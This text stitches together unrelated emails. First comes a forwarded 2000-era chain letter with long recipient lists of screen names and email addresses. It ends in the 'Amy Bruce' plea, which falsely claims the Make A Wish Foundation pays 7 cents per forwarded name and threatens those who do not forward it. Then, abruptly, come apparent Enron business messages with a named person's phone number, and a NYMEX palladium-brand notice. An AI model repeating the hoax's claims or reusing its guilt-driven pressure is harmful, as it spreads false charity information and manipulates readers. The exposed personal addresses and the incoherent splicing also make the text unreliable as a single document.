>> ><ShinninStar128@aol.com <mailto:ShinninStar128@aol.com>>;
>> Brink1584@aol.com
>> <Brink1584@aol.com <mailto:Brink1584@aol.com>>;
>> >Butterflylove05@aol.com <Butterflylove05@aol.com
>> <mailto:Butterflylove05@aol.com>>; Voegoe@aol.com
>> ><Voegoe@aol.com <mailto:Voegoe@aol.com>>
>> >Date: Tuesday, August 01, 2000 10:43 AM
>> >Subject: Re: cancer: don't u dare delete
>> >
>> >
>> > >In a message dated 8/1/00 11:03:56 AM Eastern Daylight Time,
>> > >LILSkater1986@cs.com writes:
>> > >
>> > ><< Subj:    Fwd: cancer:   don't u dare delete
>> > > Date:  8/1/00 11:03:56 AM Eastern Daylight Time
>> > > From: LILSkater1986@cs.com
>> > > To:   Alfit2005, Danceanvolley87, Beautiful Blonde
>> > > To:   GoOfYLiLBlOnDe@cs.com, Bubbles13865
>> > > To:   futureqbgirl@yahoo.com, olandrew@hotmail.com
>> > > To:   BicBass, LiTtLeAnGel76587, Sleppinstar406
>> > > To:   Dreamr147, McDURST1319, zoe3m@hotmail.com
>> > > To:   Meswim1386, EminemBabe806, Bugs479
>> > > To:   ShinninStar128, Goshjosh05, KelLilly86
>> > > To:   saxydude13@yahoo.com, ShadowLoe
>> > > To:   moo_juice_99_1999@yahoo.com, MoonStarLJ
>> > > To:   Homefriez12, DaisyBug205, KingDoNNiE500
>> > > To:   detmers_girl_2000@yahoo.com, Comkid717
>> > > To:   Barahbrown, Maverick547, Bigsue325, PRISS292
>> > > To:   Tiffmc5@hotmail.com, Btslover05
>> > >
>> > >
>> > > -----------------
>> > > Forwarded Message:
>> > > Subj: Fwd: cancer:   don't u dare delete
>> > > Date: 7/31/00 11:22:48 PM Eastern Daylight Time
>> > > From: KingDoNNiE500
>> > > To:   Sleppinstar406, Dreamr147
>> > > To:   underwud@thirdplanet.net, PBergerjr
>> > > To:   DABGranny@cs.com, KF115, ABERCHIK14, ShadowLoe
>> > > To:   Homefriez12, TLSberger@cs.com
>> > > To:   LILSkater1986@cs.com, Comkid717
>> > >
>> > >
>> > > Date: 7/30/00 9:36:07 PM Eastern Daylight Time
>> > > From: Dreamr147
>> > > To:   Twisten05, Maverick547, GoOfYLiLBlOnDe@cs.com
>> > > To:   Bubbles13865, Cklovr69, NESSA 2 CUTE 4 U
>> > > To:   WormSki87, ShadowLoe, MoonStarLJ
>> > > To:   LILSkater1986@cs.com, Slim shady lIllI, HomeMe17
>> > > To:   Cheer82087, XOXOPuppyLove, XxXaDiDaSXxX05
>> > > To:   SantownHB04, KingDoNNiE500, Nichbob, Webber99
>> > >
>> > >
>> > > Date: 7/28/00 6:55:35 PM Eastern Daylight Time
>> > > From: Bingo2786
>> > > To:   Rinoflu, Acs785, ItalianQTforU, Bubbles13865
>> > > To:   Pwrgirl462, HyperBlonde24, Skidude316, Pigswimrun
>> > > To:   Dreamr147, Webber99, Arm3165737, VIP1110
>> > > To:   VirgoGirl2099, Zuzu 1988, CandyAppleO4
>> > > To:   Blue Eyezzzzz, Crunk1513, USNA2008G, EWaddi7881
>> > > To:   MeganGM17, NessC, PooBare04, TACO86
>> > > To:   Missbubblie04
>> > >
>> > >
>> > > Date: 7/28/00 12:31:18 PM Eastern Daylight Time
>> > > From: Rinoflu
>> > > To:   Cention01, Skidude316, SandySamT
>> > > To:   dumb_blonde4e@hotmail.com, VIP1110
>> > > To:   Jennifrog_Poet@webtv.net, VirgoGirl2099, Jjb765
>> > > To:   Bingo2786, Crunk1513, ImnAngel1485, MissMandy2004
>> > > To:   Sk8tRcHiCa04, SkimW
>> > >
>> > >
>> > > Date: 7/27/00 7:44:45 PM Eastern Daylight Time
>> > > From: GoofyNY00
>> > > To:   Tigger1546, Tabhow2000, ILVTHEROCK237657
>> > > To:   Th0nG QuEeN 8451, LastLaughFemale, Rinoflu
>> > > To:   Bemby2000, Julie 138721, FILA7596, Brit1331
>> > > To:   PreciousAngel212, Tru2uTillTheEnd
>> > >
>> > >
>> > > Date: 7/27/00 5:12:37 PM Eastern Daylight Time
>> > > From: SWEETAL911
>> > > To:   GoofyNY00, Xenocide2, Felberg01
>> > > To:   Blinkchik@IOL25.COM, Mercedes Benz 17
>> > > To:   gates3@mail.iol25.com, L0VE43, R0xy1435, SLIPPI88
>> > > To:   QuickTip2G, MJ 23 DJ, MixersDelight
>> > > To:   Hot Hockey Plyr, Out2eatya, Sledstorm28
>> > > To:   FavreGrl4Ever, Daisy19853, TravisInAcworth
>> > >
>> > >
>> > > Date: 7/26/00 8:02:15 PM Eastern Daylight Time
>> > > From: FavreGrl4Ever
>> > > To:   Cupcake289715746, gordonm_719@hotmail.com
>> > > To:   Sweet6684, SWEETAL911, Sugar1451, JiggaMan112003
>> > > To:   Mikiegm@go.com, Sparkles0485
>> > >
>> > >
>> > > Date: 7/26/00 10:56:32 AM Eastern Daylight Time
>> > > From: Buttercup147637
>> > > To:   A17lina, PhantomPimp666@hotmail.com, VTChick
>> > > To:   J080283, Don UNC, Sexy14_4u@Yahoo.com, Smjsgr
>> > > To:   ElfWishMst, Can135637@Hotmail.com
>> > > To:   AllyBoop32@Mailroom.com, Puck226@Yahoo.com
>> > > To:   JJSPinay, Corinth2619, STerray@DollarTree.com
>> > > To:   Goldy GG2000, BCorgan728, Fuzzman2100
>> > > To:   SuNfLoWeR055, Blastman21, Dfungirl89, Crash392947
>> > > To:   PattySco, Dietcokeof926811, TooCute4u722
>> > > To:   Joesexy500, RFflower, MandyDaGr81, MattandVulpix
>> > > To:   Stardust9380, Rockstar837, Mickeymouse16260
>> > > To:   Iceblade900, Spaceboy699, Cheezee2000, Boca Stef
>> > > To:   Holla20002961437, MARZYK27, Platinum1684
>> > > To:   Angelbabie374, RoxyGirly1213, Foxx gurl
>> > > To:   Surfergrlxoxo, Frog Chic1189, FavreGrl4Ever
>> > > To:   SELPHIE223, Luvlee246
>> > >
>> > >
>> > > Date: 7/26/00 9:52:22 AM Eastern Daylight Time
>> > > From: Xtra Pale420
>> > > To:   IGotHops45, Vilarinho, VMFSPARKLE
>> > > To:   Pimpdaddy7805912, KrAzYGiRl123, NLchic03
>> > > To:   Ephorditey2001, SHRIMPIE211, STEFF644, CLB0982
>> > > To:   RATRY23, Bollacke, The3hhhs, Macdaddyzac1982
>> > > To:   Cootiepy1, JoshSharp7, Butterfly92183
>> > > To:   NicholeR719, Quartzln, Krazy10424, JVTCom
>> > > To:   MrDICK123456, Clspaulding, Littlepurplelove
>> > > To:   PeachyPink36, LOUIELOUIE727730, Counterpart2112
>> > > To:   RATTAT30S, Deb6tru, Diedi64, Dancer 29x
>> > > To:   LisaCL123, ROCKBURY1, Dinner50, Connor 22364
>> > > To:   Penbux, AMRCNWMKT7, Bmmalag, Beejay906, Parks 601
>> > > To:   GND14, SELPHIE223, BreakZone69, Jesshosk
>> > > To:   Googoodolls67845, DaChic6987, Benandbecca4ever
>> > > To:   METALFOLEYCA, TE65, Sheka722, Amy Cats 1395004
>> > > To:   SpankTheMonkey08, Buttercup147637, Blinkgrl117
>> > > To:   MattandVulpix, LUCKYBABE4606, EightFiggaChicka
>> > > To:   Adidas213jb, Im4EvAcRzY, WWJDGirl90, Jamiemysis
>> > > To:   Sugerplumgurl14, CGpreppy12, StarTrupr9
>> > > To:   Degenerate131, Ames131339, Pinners2
>> > > To:   StrawBERRY waGon, DD630404, Raceu1983, EDAGAD
>> > > To:   Kanup4me, Trackncheer, Im4brtnysprs
>> > > To:   Candyapple345, HarleyZGang, SweettGuyy17, Xz 411
>> > > To:   Rsalthe, Murph1844
>> > >
>> > >
>> > > Date: 7/25/00 9:57:38 PM Eastern Daylight Time
>> > > From: Fortysixnow
>> > > To:   MonochromeDIZ, Xtra Pale420
>> > > To:   cassim12000@yahoo.com, samitsy@cmbest.com
>> > > To:   Promixa194@cs.com
>> > >
>> > >
>> > > Date: 7/25/00 8:41:40 PM Eastern Daylight Time
>> > > From: Jwag10
>> > > To:   Fortysixnow
>> > >
>> > >
>> > > Date: 7/24/00 11:16:49 AM Eastern Daylight Time
>> > > From: Tinna21
>> > > To:   brandikat@snet.net, Ccandj4u, Jwag10, B2000boys
>> > > To:   DBA44, TNQRAY, KMILLER78, MMMUSALL, CMynes
>> > > To:   JESS162734, SMP1627800, ROTTIE55
>> > >
>> > >
>> > >
>> > >   Christina
>> > > Date: 7/23/00 10:56:03 AM Eastern Daylight Time
>> > > From: Dadsltlreb
>> > > To:   Ette729, Jadesvn, JWY2K3, LDJFEKETE, LGT579
>> > > To:   Lilbugg108, OleDoggs, SPDRGT3000, Tinna21
>> > > To:   SW112257, AcapelaBabe, JeanCldCar
>> > >
>> > >
>> > > Date: 7/22/00 10:34:49 PM Eastern Daylight Time
>> > > From: JeanCldCar
>> > > To:   WBk13, LeatherBoiBill, Css1947, PurpleHaze716
>> > > To:   Kbmom24, EVERETT158876434, ACREW3, CowboyJR33
>> > > To:   SvdByGrace2000, CraZyF21, Dadsltlreb
>> > > To:   Shellybeannie, Stkrmn2, CHRISY1963, PEBBLESup
>> > > To:   PWis274790, Hobbygirlv
>> > >
>> > >
>> > > Date: 7/22/00 10:28:37 PM Eastern Daylight Time
>> > > From: BIGBADBJ5
>> > > To:   SURREYINN@ALLTEL.NET, ALHELLMIG@ALLTEL.NET
>> > > To:   BKBigbea, GO F T R, JeanCldCar, Krissy856
>> > > To:   Lizzyrkb, PStormy55
>> > >
>> > >
>> > > Date: 7/22/00 9:55:02 PM Eastern Daylight Time
>> > > From: Lilsweetgurl83
>> > > To:   BIGBADBJ5
>> > >
>> > >
>> > > Date: 7/22/00 5:07:18 PM Eastern Daylight Time
>> > > From: RoxieD83@cs.com
>> > > To:   Sassygirl313@cs.com, TheWXManJeckel
>> > > To:   Angelfish13088@cs.com, Lilsweetgurl83, AmyJohnWil
>> > > To:   Harmony32264@cs.com, GpNoLeSo2
>> > >
>> > >
>> > > Date: 7/21/00 10:58:51 PM Eastern Daylight Time
>> > > From: BabyRT143@cs.com
>> > > To:   AQTpah2T@cs.com, Babyss143, BaYbEdAwL43@cs.com
>> > > To:   Blondie4nhs13@cs.com, BriBrat01@cs.com
>> > > To:   Coolbandchick, Doc85cl@cs.com, JCZLioness@cs.com
>> > > To:   LilAngelDebz@cs.com, NFUNK23@cs.com
>> > > To:   OtownChickita@cs.com, PepsiLuver4Life@cs.com
>> > > To:   RoxieD83@cs.com, Sarkay75@cs.com, Sillyho56
>> > > To:   stargal82@hotmail.com
>> > >
>> > >
>> > > Date: 7/21/00 10:44:10 PM Eastern Daylight Time
>> > > From: Babyss143
>> > > To:   Soulcrusher32018, ChillenChica4U, SnappleY2K
>> > > To:   Camaosqui, Ghetto Jiggy23, RoyceThe59 21
>> > > To:   Sillyho56, BabyRT143@cs.com, ILoveYou14377@cs.com
>> > > To:   ghettogrl4u2luv@hotmail.com, Rvp14318
>> > > To:   Dazzler1282@cs.com, MVANA134, Jay13089
>> > > To:   BiG StEvE 1119, PDStrauz DaMouse, Wdude18
>> > >
>> > >
>> > > Date: 7/20/00 4:32:28 PM Eastern Daylight Time
>> > > From: Camaosqui
>> > > To:   Sillyho56, Babyss143
>> > >
>> > >
>> > > Date: 7/20/00 1:56:55 PM Eastern Daylight Time
>> > > From: Tuluvlie2
>> > > To:   USMCSgrDdy, LukinAJ, BiBBW2Play4U, GA1053
>> > > To:   Vdawg0311, FLIP2123, Semperfid2531
>> > > To:   resnbldbt@yahoo.com, DZL75, Specialk19190098
>> > > To:   Smooth1835, Bigpapapump93219, Blame the drama
>> > > To:   Chicky1229, Lizard3033, LadyBuG8185
>> > > To:   POOHLUVSJRT18, Sweetbabygrl67, TampaGrl10
>> > > To:   Bubblez4511, Picolalove, Sjluvjt, KAK NSYNC
>> > > To:   Kat AND Lance, Mfl1287, Jrtschica0905
>> > > To:   TaurusChix00, Tuluvlie2, Jrtjlc4ever
>> > > To:   RoXyGuRl1349, Fivergrl55, ImJoeysLouisLane
>> > > To:   ABoomercat, AnorexicHick4029, Nsyncchickfan
>> > > To:   Heavensangel0531, Nickchica1, Nsynctkmluver
>> > > To:   ILUVJUSTIN21846, Bsblovebug10, Blonde204
>> > > To:   Azrealle27, CAGenie731, JuStInZbAbYgIrL6
>> > > To:   EagleMJY, JustinGurl2k, Camaosqui
>> > > To:   Divagirl0623@cs.com, Sillyho56, Dudewman1
>> > > To:   JiGWiTMeJCnCK, JustPlainRetrded, ARUCA15
>> > > To:   Salesmanof year, SBHAMMOCK, Pecan Rose, T2SLIKK
>> > > To:   KasualOne1, SexyWhiteThang18, Vaginistic27
>> > >
>> > >
>> > > Date: 7/20/00 1:31:39 PM Eastern Daylight Time
>> > > From: Jrtjlc4ever
>> > > To:   ALN81089, Courty1212, Divty, Doggy12382
>> > > To:   Hot4Justin143, Keeperofcage, LYNISE9188
>> > > To:   Mandydo588, Mariamred12, Minime0504
>> > > To:   Picperfect913, Qtpetutty35, Sosa825, Tuluvlie2
>> > > To:   TWEETY6704
>> > >
>> > >
>> > > Date: 7/19/00 7:34:15 PM Eastern Daylight Time
>> > > From: Honey2daB105
>> > > To:   Sk8ErSmAsH, Im2ghetto4u00, Blugrl84, JCzgurl16208
>> > > To:   JstNangel38, TeRRiD42, MissyBXBiznitch
>> > > To:   MissyBXBizNiTch2, JustinzLILAngl19, Jrtjlc4ever
>> > > To:   WOLFYSTYLE225, NY JuJu Bean, BUMBLEBEA212
>> > > To:   I4got2269, Moto Jane2, DOPEY1086, BxChula
>> > > To:   CRAZYJOELY, Poisonivy8, JOEYD18, Quest25r
>> > > To:   BABYFACE143s, BXKid 12 3 99, JADE35R, MINNIE9854
>> > > To:   Big DJ1218, Jrtcrazy4lyf, CheerNsync13
>> > > To:   JRTCURLYS grl, jpcheer10@hotmail.com, Ponzita24
>> > > To:   MEH799, Applejax0220, Ladym1013, XxCrystal2004xX
>> > > To:   JTbAbYbLuE17, JrTsBaByGrL18, ReTrNoFsAtUrN
>> > > To:   AModelMe14, Wolf6969style, Las8179, Wolfstyle426
>> > > To:   CoUrTyAnGeL18, Honeygirl1958, Slappy685
>> > > To:   Treister2000, NSync4EvEr872, GoRedmenAC
>> > > To:   Morgy2487, Heather12584, Justingirl105866
>> > > To:   jrtzchica4life131@nsync.nu
>> > >
>> > >
>> > > Date: 7/19/00 10:30:08 AM Eastern Daylight Time
>> > > From: Nowakg87
>> > > To:   JMwizarddragon14, Honey2daB105, Bayernc7
>> > > To:   BLUE STAR808
>> > >
>> > >
>> > > Date: 7/18/00 8:38:25 PM Eastern Daylight Time
>> > > From: NIKKIJEDI
>> > > To:   AliCat1087, AshlJosh, BRD2087, Cmdoggie
>> > > To:   PuNkGrL125, De2335, Emmyc315, BballGurlie7
>> > > To:   Brahma Kat13, Kate Scotts, Kris972evd, LisaAK8564
>> > > To:   magicangel200@hot mail.com, MistresBld, Nowakg87
>> > > To:   Olk4, PANDA10, ROCKET0110, Punkkid44
>> > > To:   ShootingStar225, SKUNKY45, smellifer@hotmail.com
>> > > To:   snowflake5732@hotmail.com
>> > > To:   dear_abby_04@hotmail.com, LiLTweety 128
>> > > To:   Sweetpeppa24, Swimpacey, webbykc@hotmail.com
>> > > To:   Yankeegirl2537@gurlmail.com
>> > > To:   Zicolell@alva.tesc.edu
>> > >
>> > >
>> > > Date: 7/14/00 4:45:01 PM Eastern Daylight Time
>> > > From: AWBSOC1
>> > > To:   Dopey3442, jillianjesse@hotmail.com, SuZiEGaL17
>> > > To:   mattlilly@erols.com, Erbear1025, Sugar82377
>> > > To:   TiNyChICk4, BabyBlue10212, Sugarbee1024, Malee620
>> > > To:   Angel98686, SuperDee9, Cutelilchic09, Toyxfiles
>> > > To:   Kiss689@hotmail.com, Loca883, BB Squirt1, LDbug88
>> > > To:   NIKKIJEDI, Crazy355, Silly88, StarFish21112
>> > > To:   SoccerChic129, gervasio@gateway.net, Miaf671436
>> > > To:   Girl2001@att.net, sugar_baby_doll@hotmail.com
>> > > To:   skarlettyfre49@webtv.net, MistresBld
>> > > To:   Starpixie101, Sillyjade, Katydid2787
>> > > To:   J.Blusnavage@worldnet.att.net, BIGSMILEY88
>> > > To:   Jerzboy21, Braves10CJones, Shorty4440@hotmail.com
>> > > To:   I Am Tha Unknown, jchukumba@hotmail.com
>> > > To:   mking1987@hotmail.com, Tommygear78@hotmail.com
>> > > To:   IfYaSmell119, ImBiggerThanYou3, Peachfuz301
>> > > To:   Damonedwin@msn.com, BballGurlie7, SuGaRp1uM70407
>> > > To:   Angelica1030, HoTtJaY9@hotmail.com
>> > >
>> > >
>> > > Date: 7/14/00 12:15:40 PM Eastern Daylight Time
>> > > From: Starpixie101
>> > > To:   AArca66504, SuZiEGaL17, GroovieB17
>> > > To:   j.blusnavage@worldnet.att.net, LiLu1013, LDbug88
>> > > To:   JennsOdium, AWBSOC1, Sugar82377, ALwAyS4KoRn119
>> > > To:   Erbear1025, BabyBlue10212, elsesser@nerc.com
>> > > To:   EF2beach, Malee620, girl2001@worldnet.att.net
>> > > To:   Loca883, Toyxfiles, misspiggy@home.com
>> > > To:   mattlilly@erols.com, Broham119
>> > > To:   ftflyer85@hotmail.com, Sugarbee1024, NBAction86
>> > > To:   Angel98686, Cutelilchic09, TiNyChICk4
>> > > To:   Stoge111323, Monkys 316, Sillyjade, SweetGuyZac
>> > >
>> > >
>> > > Date: 7/14/00 10:08:56 AM Eastern Daylight Time
>> > > From: SuZiEGaL17
>> > > To:   AnGeL bAbY 306, SHER15COW
>> > > To:   J.Blusnavage@worldnet.att.net, AngelJB86
>> > > To:   Starpixie101, AWBSOC1, Sugar82377, Erbear1025
>> > > To:   skarlettfyre49@webtv.net, Malee620, GUESS109
>> > > To:   SLFGYM22, EF2beach, Girl2001@att.net, Toyxfiles
>> > > To:   gervasio@gateway.net, CP3987, Zigs2001, Jennymint
>> > > To:   Meg91786, Angel38371, Cookie3680, Playaz1318
>> > > To:   Arby12, Blond728, Kjsweety4
>> > > To:   mking1987@hotmail.com, tommygear78@hotmail.com
>> > > To:   mattlilly@erols.com, Angel98686, Cutelilchic09
>> > > To:   TiNyChICk4, Cyberkid0, SoccerChic129, Schustea2
>> > > To:   BobBo265, Peachfuz301, SuperVivi7, Hipachick
>> > > To:   I Am Tha Unknown
>> > >
>> > >
>> > > Date: 7/13/00 10:00:50 PM Eastern Daylight Time
>> > > From: Cutelilchic09
>> > > To:   Sugarbee1024, Malee620, Angel98686, Loca883
>> > > To:   AArca66504, Jabrony786, AnGeL bAbY 306, WuNoW
>> > > To:   Angelica1030, AWBSOC1, BabyBlue10212, DmXgerL83
>> > > To:   BabyGurl11155, BballGurlie7, GroovieB17, BobBo265
>> > > To:   JGM546, Tommygrrl9914, ADUnited13, SuZiEGaL17
>> > > To:   jchukumba@hotmail.com, ftflyer85@hotmail.com
>> > > To:   JaQuIs UpToP 16, Playaz1318, Braves10CJones
>> > > To:   Brikmstr, Broham119, Crazy355, EF2beach
>> > > To:   Erbear1025, OoY2KFoXoO, misspiggy1620@home.com
>> > > To:   I Am Tha Unknown, ImBiggerThanYou3
>> > > To:   kiss689@hotmail.com, LDbug88, LL086, Miaf671436
>> > > To:   mattlilly@erols.com, NAZTYGIRL_92 @hotmail.com
>> > > To:   NBAction86, SHER15COW, Starpixie101, Sugie1231
>> > > To:   Sugar82377, TiNyChICk4, ALwAyS4KoRn119
>> > > To:   Bigcountry80, chrissy156@juno.com
>> > > To:   jaysport111@netzero.com, Jewlbug413, Silly88
>> > > To:   scarymary43@home.com, SoccerChic129
>> > > To:   StarFish21112, Z1ggy05, sparkles2008@hotmail.com
>> > > To:   tommygear78@hotmail.
>> > >
>> > >
>> > > Date: 7/13/00 9:55:00 PM Eastern Daylight Time
>> > > From: Tommygrrl9914
>> > > To:   LaLeePop15, Malee620, LiMpBiZkitHuNni
>> > > To:   Hooch girl 1223, Cutelilchic09, Sugie1231
>> > > To:   Mudd1969@msn.com, GHILL10, FTW033, Z1ggy05
>> > > To:   YA SICK, LoVeLyV85, SuPerMan36O, P0L0SP0RT7
>> > > To:   Bronco9856, XOoX BriT XoOx, JSOCKO22, IKluvs2run
>> > > To:   Babydoll33069, ItalianCutie14KL, KRaZyGuRL088
>> > > To:   NiTrO wOaH143, Boogahead20
>> > > To:   Hellokittyo2@hotmail.com, SugarM28, Elaina1727
>> > > To:   Edatude33, Remer1984
>> > >
>> > >
>> > > Date: 7/13/00 2:44:02 PM Eastern Daylight Time
>> > > From: XOoX BriT XoOx
>> > > To:   Tinychika99, Z1ggy05, Boarderlord, Kspace330
>> > > To:   Nikkey13, HOtTcHiCk8387, SugarBaby1002, PJp0wer99
>> > > To:   Bootzy124, Tommygrrl9914, Boogahead20, LoVeLyV85
>> > > To:   Piglet9656, ShagMe 303, XxLis15xX, JiVe565
>> > > To:   XxLiLsEnSaTiOnxX, NiTrO wOaH143, SugaPyeHunniBunn
>> > > To:   SKILLZ7119, Slick1027
>> > >
>> > >
>> > > Date: 7/13/00 2:05:21 PM Eastern Daylight Time
>> > > From: XxLiLsEnSaTiOnxX
>> > > To:   Z1ggy05, SugaPyeHunniBunn, Xxxo Qt Pye oxxX
>> > > To:   RaVe878, XOoX BriT XoOx, LiMpBiZkitHuNni
>> > > To:   Realshady3012, JustinTLuv117, Lilgirl711
>> > > To:   dmoraitis@hotmail.com, NiTrO wOaH143, Tommy645
>> > > To:   HoMiE z 103, Loquita86, JackieB86, Tinychika99
>> > > To:   SugarBaby1002, I Am Tha Unknown, Dancer8230
>> > > To:   Bigkev033, DeStInYsBaBy8, Bigbri1985, PJp0wer99
>> > > To:   ShagMe 303, Sugars454, TENFLEX, Iceman886
>> > > To:   Slick1027
>> > >
>> > >
>> > > Date: 7/13/00 11:50:19 AM Eastern Daylight Time
>> > > From: SugarBaby1002
>> > > To:   SugaPyeHunniBunn, Nikkey13, Nickluv28
>> > > To:   XxLiLsEnSaTiOnxX, Hooch girl 1223, BDCurtis22
>> > > To:   SKILLZ7119
>> > >
>> > >
>> > >
>> > >
>> > > Date: 7/13/00 11:43:45 AM Eastern Daylight Time
>> > > From: Nikkey13
>> > > To:   HOtTcHiCk8387, surfgrrl87@yahoo.com
>> > > To:   SugarBaby1002, XOoX BriT XoOx, Tinychika99
>> > > To:   JackieB86, Yankeechic1423, Nickluv487
>> > > To:   S13ACKSTREETSN1, Z1ggy05, SKILLZ7119, KMoney33
>> > > To:   TyKixx, SHORTY D43, Slick1027
>> > >
>> > >
>> > > Date: 7/12/00 4:20:35 PM Eastern Daylight Time
>> > > From: SuGaRsTpH
>> > > To:   Kspace330, XOoX BriT XoOx, OubaU KangaroO
>> > > To:   ELiSa522, qtwitdabooty@netscape.net, Piglet9656
>> > > To:   Tmaster567, berrychick87@hotmail.com, CurLiEgRliE
>> > > To:   orlando@viconet.com, XSweetyx 3, SweetiePieSDG
>> > > To:   DaDdYzLiLgrL112, TESTme2theEDGE, QT3018
>> > > To:   BUMPERTOP, A421EJIN, jferri@home.com, Garnet2823
>> > > To:   PANDACRV, Bigsis0921, Candy6001, Twltweety
>> > > To:   IrishAngel54, Lrig eitaK, BOSSIBOOTZ, Lexg16
>> > > To:   AnGeLBaBY 407, DeViL94227, iluvhanson2@excite.com
>> > > To:   SuGaRsTpH, MeliBitz4U, LittLeGirLie7, CraZCait7
>> > > To:   LiMpBiZkitHuNni, Nikkey13, Lil butts, Izzle13
>> > > To:   EjRoCk8, TyKixx, KMoney33, blmflddog@hotmail.com
>> > > To:   MoNeY389, Harogt45, MaTt HaZe13, FootJcBall16
>> > > To:   MaDcHiKLaDyKiLLa, CyBeRsKaTeR98, NooKiE937
>> > > To:   Bratz1017, SnOOgAn NoBBeR86, SUiCiDsAbU
>> > > To:   BlUe DeViLz630, Rock3320, Italy1286, SMiTy0912
>> > >
>> > >
>> > > Subj: Re: cancer:   don't u dare delete
>> > > Date: 7/11/00 9:58:21 AM Eastern Daylight Time
>> > > From: Twltweety
>> > > To:   Candy6001, NjCuTiE045, Snowbaby00@home.com
>> > > To:   ELiSa522, BaBeBlu287, Surg1005, FootJcBall16
>> > > To:   candygurl122@go.com, GHETTOGRL_69@webtv.com
>> > > To:   XSunshine39x, Supgirl33, Junerose15@home.com
>> > > To:   Polosprtgrl12@viconet.com, LittLeGirLie7
>> > > To:   CraZCait7, SuGaRsTpH
>> > >
>> > > In a message dated 7/9/00 12:44:56 AM Eastern Daylight Time,
>> >Twirlcharisma
>> > >writes:
>> > >
>> > > <<     Subject:   Cancer (DO NOT DELETE) - You must forward!!!!!!
>> > >
>> > >      Hi, my name is Amy Bruce.I am 7 years old, and I have severe
lung
>> > >cancer from second hand smoke. I also have a large tumor in my brain,
>> >from
>> > >repeated beatings.  The doctors say I will die soon if this isn't
>fixed,
>> >and
>> > >my family can't pay the bills. The Make A Wish Foundation, has agreed
>to
>> > >donate 7 cents for every name on this list. For those of you who send
>> >this
>> > >along, I thank you so much, but for those who don't send it, what goes
>> >around
>> > >comes around. Have a Heart, please send this. Please, if you are a
kind
>> > >person, send this on. >> >>
>> > >  >>
>> > >
>> > >
>> > >
>> >
>>
>> _________________________________________________________________________
>> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>> Share information about yourself, create your own public profile at
>> http://profiles.msn.com.
>>
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>
>_______________________________________________
>Why pay for something you could get for free?
>NetZero provides FREE Internet Access and Email
>http://www.netzero.net/download/index.html

No problem. It occured to me, as the list of people I'm sending this to 
continues to grow, that maybe I should fine tune the format a little. If you 
guys have any suggestions about the layout of the spreadsheet, please let me 
know.

Thanks,
Kate

	From:  Bill Williams III                           02/26/2001 02:39 PM
	
cc:  

Subject: Re: Daily EES Sales 2/27  

Kate,
In the future could you please send a copy of the daily EES sales to 
West.realtime@enron.com
It would be much appreciated.
Thanks,

Bill

I got your voice mail from Friday!

Since I am in Denver at 8:30, we can definitely head up to Winter Park immediately.  If there is a group snowmobiling that afternoon (and if you want), let's join them.  

Michelle Lokay
Account Director
Transwestern Commercial Group
713-345-7932

Notice No:  02-40
February 5, 2002

TO:		ALL NYMEX DIVISION MEMBERS
		ALL NYMEX DIVISION MEMBER FIRMS
		ALL NYMEX DIVISION CLEARING MEMBER FIRMS

SUBJECT:	Novosibirsk Refining Factory - Russia- Palladium Brand

Commission to amend Supplement No. 5, "Official List of Approved Brands
Acceptable on the London Platinum and Palladium Market", of the Palladium
Futures Contract.  The approved amendment adds the Novosibirsk Refining
Factory - Russia Palladium Brand as acceptable for delivery against the
Palladium Futures Contract.  A copy of the approved amendment is attached.

The approved amendment is effective immediately.

Approved Amendment.  Underlining indicates additions.

NYMEX PALLADIUM FUTURES CONTRACT

	Supplement No. 5

APPROVED BRANDS
ACCEPTABLE ON THE LONDON PLATINUM and PALLADIUM MARKET

COUNTRY/PRODUCER				MOST RECENT MARKS

UNITED STATES

	Johnson Matthey Inc.				Johnson Matthey
Made in U.S.A.

	PGP Industries Inc.				PGP in a circle of
dots

	Sabin Metal Corporation				SMC

FRANCE

	Engelhard-Clal Paris	Engelhard-Clal  Paris

GERMANY

	Degussa AG					Degussa with half
sun & quarter moon in a
							diamond

	W.C. Heraeus GmbH				H surrounded by a
sun  & the word Heraeus

GREAT BRITAIN

	Engelhard-Clal (UK) Limited			E-C in a
parallelogram

	Inco Europe Limited				Inco

	Johnson Matthey plc				Company logo & Made
in England

Approved Amendment. Underlining indicates additions.

ITALY

	Engelhard s.r.l.					"1ER" in
octagon
	(from serial number R501 onwards)

JAPAN

	Ishifuku Metal Industry Co. Limited		Ishifuku Tokyo

	Matsuda Sangyo Co. Limited			Matsuda Tokyo
Assayer Melter

	Tanaka Kinkinzoku Kogyo K.K.			Tanaka Tokyo

	Tokuriki Honten Co. Limited			Tokuriki Tokyo

	Asahi Pretec Corp					AKK in a
diamond

NETHERLANDS

	H. Drijfhout & Zoon's				H. Drijfhout & Zoons
Amsterdam Melters
	Edelmetaalbedrijven B.V.

RUSSIA

	Krasnoyarsk					Made in Russia (with
K and a flower)

	Novosibirsk Refining Factory			POCC??  in an oval &
company symbol

	Prioksk						POCC??  in an oval
& company symbol

SOUTH AFRICA

	Western Platinum Refinery Limited		W.P.L. Palladium &
symbol

SWITZERLAND

	Argor-Heraeus SA				Argor-Heraeus SA

	Metaux Precieux SA Metalor			M.P. Assayeur
Fondeur

	Valcambi  SA					Valcambi S.A.
Balerna-Suisse

FORMER REFINERS

The following organizations have ceased the production and refining of good
delivery material or have changed the markings of their ingots or plates.
However, previously produced ingots and plates continue to be accepted as
good delivery.

COUNTRY/PRODUCER				FORMER MARKINGS

FRANCE

	Compagnie des Metaux Precieux SA	"Compagnie des Metaux
Precieux Paris CMP"

	Comptoir Lyon -Alemand Louyot		"Comptoir-Lyon-Alemand
Louyot Paris
								Affineur
Fondeur" in octagon

	Engelhard SA	"Engelhard" in parallelogram and
"Comptoir-Lyon-Alemand Louyot Paris
								Affineur

	Engelhard Limited	"Engelhard London" and "E" in parallelogram
RUSSIA

	State Refinery					Made in USSR with
hammer & sickle

	Matthey Rustenburg Refiners	"JM Ltd" and company symbol "Trade
Mark" and "Made in South Africa"

	Argor SA						Argor S.A.
Chiasso

Mike just talked to the broker and told me it is Merrill - deal has been 
changed.

02/06/2001 12:06 PM
cc:  

Subject: status deal 514157  

Deal 514157 what is the status.  Is Mike going to change cp name to Merrill 
Lynch or keep it as Pacificorp?

Evelyn

   Kate Symes @ ECT                02/05/2001 04:34 PM

cc:  

Subject: Re: 2-5-01 checkout  

513386 - changed to APB.

514157 - Mike is checking with broker on this.

02/05/2001 01:53 PM
cc:  

Subject: 2-5-01 checkout

Jeff Richter
deal 513386
Prebon does not recognize this deal

 Mike Swerzbin
deal 514157
Prebon shows cp as Merrill Lynch not Pacificorp.

I extended Sitara deal 143323 thru march.  This is a Boston Gas release to 
